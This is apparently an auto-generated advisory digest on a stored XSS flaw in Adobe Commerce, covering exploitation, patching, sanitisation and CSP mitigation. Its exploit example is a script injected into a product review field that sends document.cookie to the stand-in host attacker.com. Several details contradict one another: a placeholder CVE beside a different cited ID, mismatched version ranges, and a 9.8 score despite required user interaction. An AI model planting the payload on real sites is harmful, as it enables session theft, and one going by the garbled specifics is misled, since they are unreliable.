The CVE-2024-XXXX vulnerability in Adobe Commerce versions 2.4.8-beta1, 2.4.7-p3, 2.4.6-p8, 2.4.5-p10, 2.4.4-p11, and earlier is a stored Cross-Site Scripting (XSS) flaw. This vulnerability allows a low-privileged attacker to inject malicious JavaScript into vulnerable form fields. When a victim accesses a page containing the compromised field, the malicious script executes in their browser. This can lead to session hijacking, data theft, or unauthorized actions on behalf of the victim. The vulnerability arises due to insufficient input sanitization and output encoding in the affected versions, enabling attackers to bypass security mechanisms and inject persistent malicious payloads.
DailyCVE Form:
Platform: Adobe Commerce
Version: 2.4.4-p11 and earlier
Vulnerability: Stored XSS
Severity: Critical
Date: 2/11/2025
(End of form)
What Undercode Say:
1. Exploitation Details:
- Attackers inject malicious scripts into form fields (e.g., comments, product descriptions).
- Payloads persist in the database and execute when rendered on the page.
- Example payload:
<script>alert(document.cookie);</script>.
2. Protection Measures:
- Update to the latest Adobe Commerce version.
- Implement strict input validation and output encoding.
- Use Content Security Policy (CSP) headers to mitigate XSS risks.
3. Analytics:
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: Required
4. Commands:
- Check version: `bin/magento –version`
– Apply patches: `composer require magento/product-community-edition 2.4.8`
5. Code Snippets:
- Input sanitization in PHP:
$input = htmlspecialchars($_POST['input'], ENT_QUOTES, 'UTF-8');
- CSP Header example:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com;
6. URLs:
- Adobe Security Bulletin: https://helpx.adobe.com/security/products/magento/apsb24-xx.html
- NVD Details: https://nvd.nist.gov/vuln/detail/CVE-2024-XXXX
- Patch Download: https://magento.com/security/patches
7. Exploit Example:
- Inject payload into a product review field:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>
8. Mitigation Tools:
- Use OWASP ZAP for vulnerability scanning.
- Enable Magento’s built-in XSS protection mechanisms.
9. Monitoring:
- Monitor logs for unusual activity:
tail -f /var/log/magento/exception.log
10. References:
- OWASP XSS Prevention Cheat Sheet: https://owasp.org/www-project-cheat-sheets/
- Adobe Commerce Security Center: https://magento.com/security
(End of What Undercode Say)
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-24416
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